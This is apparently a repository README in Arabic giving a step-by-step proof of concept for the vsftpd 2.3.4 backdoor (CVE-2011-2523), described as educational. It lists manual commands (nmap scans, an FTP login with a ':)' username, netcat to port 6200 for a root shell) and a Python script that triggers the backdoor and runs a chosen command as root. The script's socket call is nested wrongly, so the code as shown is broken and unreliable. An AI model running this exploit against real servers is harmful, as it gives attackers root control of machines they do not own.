vsftpd-2.3.4---Backdoor-Command-Execution

vsftpd 2.3.4 (CVE-2011-2523) هي ثغرة حرجة تؤدي إلى Root Shell. في هذا المستودع سأقوم بتقديم Proof of Concept لكيفية استغلالها خطوة بخطوة، يدويًا وآليًا (باستخدام Python) لأغراض تعليمية.

ما هي الثغرة؟ أولًا، هي استغلال من جانب الخادم (server-side) لذا سنقوم باستغلالها عن بُعد. الفكرة هي أنه عند الاتصال بخدمة FTP على المنفذ 21 بشكل افتراضي باستخدام اسم مستخدم يحتوي على :) سيؤدي ذلك إلى تشغيل النظام لفتح منفذ TCP 6200 مع Root Shell، بحيث يمكن لأي شخص الاتصال به والحصول على صلاحيات الجذر (Root) على الخادم الهدف، وهو أمر كارثي. لذا دعونا نقوم بذلك عمليًا خطوة بخطوة. سأشرح ذلك يدويًا أولاً للحصول على الفكرة الكاملة، ثم يوجد سكربت Python لاستغلالها تلقائيًا.

يدويًا

فحص المنافذ

1. المنفذ 21 مفتوح

nmap -p21 -sV -sC -O Target_IP 

2. المنفذ 6200 مغلق

nmap -p6200 Target_IP

• المنفذ 6200 مغلق حاليًا

الاستغلال

3. الاتصال بخدمة FTP واستخدام اسم مستخدم خبيث لتشغيل النظام لفتح المنفذ 6200

ftp Target_IP 

• اسم المستخدم: أي شيء:)
• كلمة المرور: أي شيء

4. التحقق من المنفذ 6200 بعد اتصال FTP

nmap -p6200 Target_IP

المنفذ 6200 مفتوح الآن، لذا هذا هو بابنا الخلفي

5. الاتصال بالمنفذ 6200 للحصول على Root Shell على الخادم بالكامل

nc -nv Target_IP 6200

أخيرًا، حصلنا على Root Shell على الجهاز الهدف.

تلقائيًا

بعد أن قمنا بذلك يدويًا، نعرف خطوات الاستغلال:

1. الاتصال بخادم FTP على المنفذ (21).
2. استخدام اسم مستخدم يحتوي على :) لتفعيل الباب الخلفي.
3. الاتصال بالمنفذ (6200).

#!/usr/bin/python3 

from ftplib import FTP
import socket
import sys
import time

Target_IP = sys.argv[1]
cmd = sys.argv[2]

# Step1: Connect to FTP
try:
  ftp = FTP(Target_IP,timeout=2)
  ftp.login("user:)","password") # Step2: Send the malicious username
except:
  pass

time.sleep(1) # To give a time for the server to open the port (6200)

#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
  shell.connect((Target_IP,6200))
except:
  print("Shell Failed")

#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())

#Finally close the connection
shell.close()